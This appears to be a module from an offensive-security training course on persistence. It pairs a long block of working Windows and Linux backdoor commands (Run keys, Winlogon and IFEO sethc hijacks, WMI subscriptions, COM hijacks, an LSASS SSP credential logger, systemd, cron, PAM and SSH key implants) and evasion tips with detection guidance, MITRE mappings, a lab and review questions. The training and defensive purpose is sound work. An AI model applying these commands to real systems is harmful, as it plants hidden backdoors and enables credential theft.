Skip to content

Persistence Mechanisms

Privilege escalation gets you in. Persistence keeps you in. Every blue-team engagement and every real APT lifecycle reaches a point where the foothold is fragile — a reboot, a password rotation, an idle-session timeout — and the operator needs an independent re-entry path. The Windows persistence surface area is enormous (autostart extensibility points number over 50 by MITRE’s count); Linux is smaller but has its own deep surface in systemd, cron, PAM, and udev. This module covers the techniques that survive reboots, password resets, and competent defenders looking at Autoruns.

Persistence is “code that runs on a trigger the defender did not write and rarely audits.” Every OS has dozens of these triggers; most are documented for legitimate software installers and forgotten by defenders.

┌─────────────────────────────────────────────────────────────┐
│ Trigger surface — Windows │
├─────────────────────────────────────────────────────────────┤
│ Boot/Logon Autostart Run/RunOnce, Winlogon Shell, Userinit │
│ Scheduled Tasks schtasks, WMI Event Subscription │
│ Services sc create, sc config binPath │
│ Image File Exec ImageFileExecutionOptions Debugger │
│ Browser/Office Word/WScript, COM hijack │
│ WMI __EventFilter → CommandLineEventConsumer│
│ AppInit_DLLs load DLL into every process │
│ Print Monitors print spooler addmonitor │
│ LSASS SSP load custom SSP into lsass.exe │
│ Boot Drivers filter driver load at boot │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Trigger surface — Linux │
├─────────────────────────────────────────────────────────────┤
│ cron/systemd-timers /etc/cron.* /etc/systemd/system/* │
│ systemd units .service / .socket │
│ PAM pam_exec.so, pam.d/* session hooks │
│ udev rules /etc/udev/rules.d/ ACTION=="add" ... │
│ SSH authorized_keys persistent key │
│ /etc/rc.local legacy boot hook │
│ bash rc/profile user-shell persistent │
└─────────────────────────────────────────────────────────────┘

The mature attacker chooses persistence based on three properties: trigger frequency (boot vs. user-logon vs. minute-timer), stealth (does Autoruns show it? does the EDR alert?), and survival (does it survive disk image / rebuild / password rotation?). Each technique makes different trade-offs.

  1. Pick the trigger scope — Machine-wide (HKLM, system cron, system service) runs at boot or for any user; user-scoped (HKCU, user crontab, autorun for that user) runs only on that user’s logon. Machine-wide is more powerful; user-scoped is harder to detect across many hosts because each user’s registry hive isn’t aggregated.
  2. Pick the trigger frequency — RunOnce (fires once, then the key is cleared), Run (fires at every user logon), service (runs continuously), scheduled task (fires on schedule, can be set to fire on event log entry for ultimate stealth).
  3. Pick the payload location — C:\Windows\System32\ (looks native, but write requires SYSTEM and AV scans harder), %ProgramData% (writable by users, less-scanned), %APPDATA% (user-writable, looks like user data), a COM-registered DLL (no exe on disk at all, just a reg entry and a DLL that loads by CLSID).
  4. Register the trigger — write the registry value, drop the binary, install the service, register the WMI subscription.
  5. Verify — reboot (if boot-trigger) or wait the schedule, observe the process spawn with Sysmon EID 1.
TechniqueTriggerScopeDetection Difficulty
HKLM Run keyUser logonMachine-wideEasy — Autoruns shows
HKCU Run keyUser logonPer-userMedium — per-user registry
Winlogon Shell/UserinitLogonMachineMedium — common hijack point
Scheduled Task (schtasks /create)ScheduleAnyEasy — EID 4698
WMI Event SubscriptionEvent log matchAnyHard — buried in __EventConsumer
Service (sc create)BootMachineEasy — EID 7045
Image File Execution Options DebuggerOn target exe launchAnyMedium — HKLM…\Image File Execution Options
COM hijackingCOM activation of CLSIDPer-user (HKCU\CLSID)Hard — no on-disk binary
AppInit_DLLsProcess loadMachine-wideMedium — known AV rule
Print Monitor DLLSpooler loadMachineMedium — registry Print\Monitors
LSASS Custom SSPLSASS loadMachineHard — registry Lsa\Security Packages
Boot-time driverBootMachineMedium — EID 6 driver load
Office Word\Startup templateWord launchPer-userHard — looks like addin
Linux systemd serviceBootMachineMedium — systemctl status
Linux user crontabSchedulePer-userEasy — /var/spool/cron/
Linux PAM pam_exec.soAny PAM eventMachineHard — /etc/pam.d/*
SSH authorized_keysSSH loginPer-userEasy — cat ~/.ssh/authorized_keys
Terminal window
# === WINDOWS — REGISTRY RUN KEYS ===
# Machine-wide HKLM Run — fires on every user logon
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\ProgramData\backdoor.exe" /f
# Per-user HKCU Run — fires only for that user
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\jsmith\AppData\backdoor.exe" /f
# RunOnce (auto-deletes after firing)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Setup /t REG_SZ /d "C:\windows\temp\setup.exe" /f
# === Winlogon Shell/Userinit hijack ===
# Default: Userinit = "C:\Windows\System32\userinit.exe,"
# Hijack: append payload
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\System32\userinit.exe,C:\windows\temp\pwn.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe,C:\windows\temp\pwn.exe" /f
# === SCHEDULED TASKS ===
# User-context task firing at logon
schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\ProgramData\backdoor.exe" /sc onlogon /ru SYSTEM /f
# Hidden task (use XML import)
schtasks /create /tn "\MicrosoftEdgeUpdateTaskMachineUA" /xml task.xml /f
# task.xml includes <Settings><Hidden>true</Hidden></Settings>
# Fire on event log match — very stealthy
schtasks /create /tn "EdgeUpdate" /tr "C:\ProgramData\pwn.exe" /sc onevent /ec Microsoft-Windows-Security-Auditing /mo "*[System[(EventID=4624)] and EventData[Data[@Name='TargetUserName']='jsmith']]" /ru SYSTEM /f
# === WMI EVENT SUBSCRIPTION (the gold standard) ===
# Requires admin + WMI namespace write privs
# Three pieces: Filter, Consumer, Binding
mofcomp.exe <<EOF
#pragma namespace("\\root\\subscription")
instance of __EventFilter as $F {
Name = "EdgeUpdateFilter";
Query = "SELECT * FROM __InstanceModificationEvent "
"WHERE TargetInstance ISA 'Win32_LocalTime' "
"AND TargetInstance.Minute = 0"; // every hour on the dot
QueryLanguage = "WQL";
};
instance of CommandLineEventConsumer as $C {
Name = "EdgeUpdateConsumer";
CommandLineTemplate = "C:\\ProgramData\\pwn.exe";
RunInteractively = false;
};
instance of __FilterToConsumerBinding as $B {
Filter = $F;
Consumer = $C;
};
EOF
# Detection: WMI Namespace subscription repo at %SystemRoot%\System32\wbem\Repository\
# Autoruns shows this under "WMI" if you have it
# Equivalent via PowerShell:
$Filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{
Name="EdgeUpdateFilter"; QueryLanguage="WQL";
Query="SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Minute=0"
}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{
Name="EdgeUpdateConsumer"; CommandLineTemplate="C:\ProgramData\pwn.exe"
}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$Filter; Consumer=$Consumer}
# === SERVICES ===
# Create a service that runs at boot, restart on failure
sc create EdgeUpdater binPath= "C:\ProgramData\backdoor.exe" start= auto
sc description EdgeUpdater "Microsoft Edge Updater"
sc failure EdgeUpdater reset= 86400 actions= restart/5000/restart/5000/restart/5000
sc start EdgeUpdater
# === IMAGE FILE EXECUTION OPTIONS (IFEO) Debugger ===
# When target.exe runs, the "debugger" is invoked instead with target.exe as arg
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
# Now: press Shift 5x at lock screen → sethc.exe → "debugger" cmd.exe runs as SYSTEM
# SilentProcessExit (less-known cousin of IFEO)
# MonitorProcess for a process and run Reg on exit
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v MonitorProcess /t REG_SZ /d "C:\windows\temp\pwn.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 1 /f
# === COM HIJACKING ===
# Find a CLSID that's machine-installed but per-user-overridable
# HKLM\Software\Classes\CLSID\{...}\InprocServer32 (default location)
# HKCU\Software\Classes\CLSID\{...}\InprocServer32 (per-user override wins)
# Pick a CLSID used by an inoffensive process (e.g. explorer.exe, scheduled tasks)
# Example target: {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7} (CAccPropServicesClass)
reg add "HKCU\Software\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32" /ve /t REG_SZ /d "C:\Users\jsmith\AppData\Local\Temp\backdoor.dll" /f
# Set ThreadingModel:
reg add "HKCU\Software\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f
# === LSASS CUSTOM SSP (very stealthy, dumps all credentials going forward) ===
# Register a DLL as an SSP. After reboot (or restart lsass), LSASS loads it.
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "C:\windows\temp\mimilib.dll" /f
# Then `gflags +sls 0x04000` to test without reboot (Boot Phase)
# Mimikatz's `misc::memssp` is an in-memory equivalent that doesn't survive reboot
# === LINUX PERSISTENCE ===
# systemd service (machine-wide)
cat > /etc/systemd/system/edge-updater.service <<'EOF'
[Unit]
Description=Edge Updater
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/backdoor
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload && systemctl enable --now edge-updater.service
# systemd timer (replaces cron)
cat > /etc/systemd/system/edge-updater.timer <<'EOF'
[Unit]
Description=Edge Updater Timer
[Timer]
OnCalendar=*:0/5
Persistent=true
[Install]
WantedBy=timers.target
EOF
systemctl enable --now edge-updater.timer
# User crontab
(crontab -l 2>/dev/null; echo "*/5 * * * * /home/jsmith/.local/bin/backdoor") | crontab -
# PAM hook — fires on every SSH/su/sudo
# /etc/pam.d/common-auth on Debian
echo "session optional pam_exec.so /usr/local/bin/backdoor" >> /etc/pam.d/common-session
# SSH authorized_keys — install persistent key
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "ssh-rsa AAAA... attacker@kali" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Bashrc / Profile backdoor (per-user)
echo 'nohup /home/jsmith/.local/bin/backdoor >/dev/null 2>&1 &' >> ~/.bashrc

Sysmon:

  • EID 12 — RegistryEvent (ObjectCreate) and EID 13 — RegistryEvent (ValueSet) are the primary lens. Map specific registry paths to Sigma rules:
    • HKLM\Software\Microsoft\Windows\CurrentVersion\Run\* and RunOnce\* — Sigma 910787 [verify]
    • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell / Userinit — Sigma 910789 [verify]
    • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*\Debugger — Sigma 910788 [verify]
    • HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages — Sigma 910795 [verify]
    • HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\* — Sigma 910797 [verify]
  • EID 1 — ProcessCreate: suspicious parents at boot, e.g. services.exe → cmd.exe for a service you didn’t install; winlogon.exe → cmd.exe for a Winlogon Shell hijack.
  • EID 6 — DriverLoad: a boot-time driver that loads on every reboot.
  • EID 7 — ImageLoad: mimilib.dll loaded into lsass.exe is the custom SSP signature.

Windows Security / System logs:

  • EID 7045 — Service Installed. Every sc create produces this. Sigma rule: service binPath contains \temp\ or \ProgramData\ is suspicious.
  • EID 4698 — Task Scheduler created. Sigma rule: task Action contains cmd.exe or powershell.exe with -enc or -bypass.
  • EID 4624 Type 5 (Service) followed by EID 4688 with parent services.exe and child cmd.exe — service-backdoor signature.

MITRE ATT&CK:

  • T1547 — Boot or Logon Autostart Execution
  • T1547.001 — Registry Run Keys / Startup Folder
  • T1547.004 — Winlogon Helper DLL
  • T1136 — Create Account (less common for persistence)
  • T1543.003 — Windows Service
  • T1053.005 — Scheduled Task (Windows)
  • T1546.001 — Event Triggered Execution: Change Default File Association
  • T1546.002 — Event Triggered Execution: Screensaver
  • T1546.003 — Event Triggered Execution: WMI Event Subscription
  • T1546.008 — Event Triggered Execution: Accessibility Features (sethc hijack)
  • T1546.009 — Event Triggered Execution: AppCert DLLs
  • T1546.010 — Event Triggered Execution: AppInit DLLs
  • T1546.011 — Event Triggered Execution: Application Shimming
  • T1546.012 — Event Triggered Execution: ImageFileExecutionOptions
  • T1546.013 — Event Triggered Execution: COM Hijacking
  • T1574 — Hijack Execution Flow (broader category)
  • T1098 — Account Manipulation (DSMOD, AddMember)
  • T1134 — Access Token Manipulation
  • T1542 — Pre-OS Boot (UEFI, bootloader)

Autoruns (Sysinternals) — the canonical defender tool. Lists 50+ autostart locations sorted by category. The “Hide Microsoft entries” filter is essential; anything remaining is non-stock.

Defender for Endpoint — has built-in persistence discovery heuristics that flag new Run keys, new services, and IFEO entries automatically.

Wazuh rule 920/561 [verify] — Suspicious registry write under Run/RunOnce. Wazuh rule 920/563 [verify] — IFEO Debugger write.

Per-user COM hijacking. HKCU\Software\Classes\CLSID{…}\InprocServer32 overrides HKLM… — and HKCU is per-user, less-aggressively audited, and the DLL lives in user space (not System32). The trigger: any COM activation of that CLSID by the user. Sigma rules that look only at HKLM miss it. Counter: monitor HKCU CLSID writes specifically; baseline “every user’s CLSID list” and alert on diff.

WMI Event Subscription. Lives in root\subscription namespace, persists across reboots, fires on event-log matches. The binary on disk can be anywhere; the trigger is the WMI repo (%SystemRoot%\System32\wbem\Repository\). Detection: Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding enumerates all bindings; alert if non-empty.

Hidden scheduled tasks. Import via XML with <Hidden>true</Hidden> — the task is invisible to schtasks /query unless you query with /v and explicit name. Detection: enumerate schtasks /query /fo LIST /v and look for Hidden: Yes; alert on any hidden task not signed by a Microsoft product.

Run key value obfuscation. The Run key value can be a cmd /c start /b ... chain that spawns the real payload detached; the immediate process exits, so Sysmon EID 1 shows a transient cmd.exe and the real payload has a parent of services.exe (or no parent if orphaned). Sigma rule: command-line value of Run key starts with cmd /c start is anomalous.

Service name camouflage. Name your service MicrosoftEdgeUpdate or NvidiaTelemetryContainer — defenders eyeball service lists. Counter: maintain a baseline of expected services on each host type and alert on deviation; many EDRs do this automatically.

User-space only. If you can write to %APPDATA% but not System32, use HKCU Run keys, COM hijack, or shell:startup. None of these need admin, which is the point — persistence is often available at the user level for any compromise.

Boot-time driver. A signed driver loaded at boot runs before the EDR starts in some configurations. Microsoft Defender’s ELAM (Early Launch Anti-Malware) tries to close this; not all EDRs do.

PersistenceDetectsDefense
HKLM Run keyAutoruns, Sysmon EID 13Sigma on path
HKCU Run keyPer-user hive scan (less common)Per-registry-hive audit baseline
WMI Event SubGet-WMIObject __FilterToConsumerBindingPeriodic WMI repo enumeration
Hidden scheduled taskschtasks /query /v and “Hidden: Yes” filterAlert on hidden tasks
COM hijack (HKCU)Sysmon EID 13 on HKCU\Software\Classes\CLSIDBaseline HKCU CLSID list
LSASS custom SSPSysmon EID 7 in lsass.exe with new DLLImageLoad baseline
ServiceEID 7045Service inventory baseline

⚠️ What caught me: I dropped a WMI Event Subscription on a Domain Controller and was caught by a hunt query that enumerated __FilterToConsumerBinding every hour — the SOC’s hunt team had a daily automation that diffed the WMI repo. The lesson I learned: persistence techniques that survive Autoruns (which most defenders run) often don’t survive hunt queries. The blue team’s day-1 work is the obvious detections; their month-3 work is the recurring hunt. Pick persistence that’s not in any obvious list, but assume the hunt query exists.

VM: Windows 11 Enterprise with Sysmon (SwiftOnConfig) installed, a Defender exclusions list of C:\ProgramData\ for the lab, and Autoruns pre-installed for verification.

Objective: install five distinct persistence mechanisms (Run key, scheduled task on-event, WMI subscription, IFEO debugger on sethc.exe, COM hijack), then reboot. After reboot, all five should fire within 60 seconds, and you should reproduce which Sigma/Sysmon event fires for each.

Expected flag format: flag{persistence_5mechanisms_survive_reboot}.

Detection that should fire:

  • Sysmon EID 13 — registry value set on Run, RunOnce, Winlogon, Image File Execution Options\sethc.exe\Debugger, HKCU\Software\Classes\CLSID
  • Sysmon EID 1 — sethc.exe invocation produces a cmd.exe child at the lock screen
  • Windows Security EID 4698 — Scheduled Task created (one new task)
  • WMI namespace enumeration — Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding returns the new binding
  • Autoruns — five new entries (Run, Task, WMI, IFEO, COM)

Conceptual: of the 50+ Windows autostart extensibility points, which three would you recommend to a customer as the highest priority to monitor and audit? Justify each based on the attacker’s trade-offs.

Technical: walk through the WMI Event Subscription mechanism in detail — what are the three components, where do they live in the WMI namespace, and why does the __EventFilter Query language (WQL) allow extremely flexible triggers that scheduled tasks cannot match?

Scenario: you have only user-level (non-admin) access on a Windows host. Which three persistence techniques are still available to you, and which produces the least detection noise?

Compare HKLM Run keys and HKCU Run keys from a defender’s perspective. Why is HKCU significantly harder to monitor at enterprise scale, and what is the practical solution most blue teams adopt?

Conceptual: explain the LSASS custom SSP persistence in terms of when it loads and what it sees. Why is it operationally valuable beyond just persistence (i.e. why would an attacker install an SSP even when they already have other persistence)?

→ PE1 (Linux Privilege Escalation) · PE2 (Windows Privilege Escalation) · PE13 (Active Directory Persistence)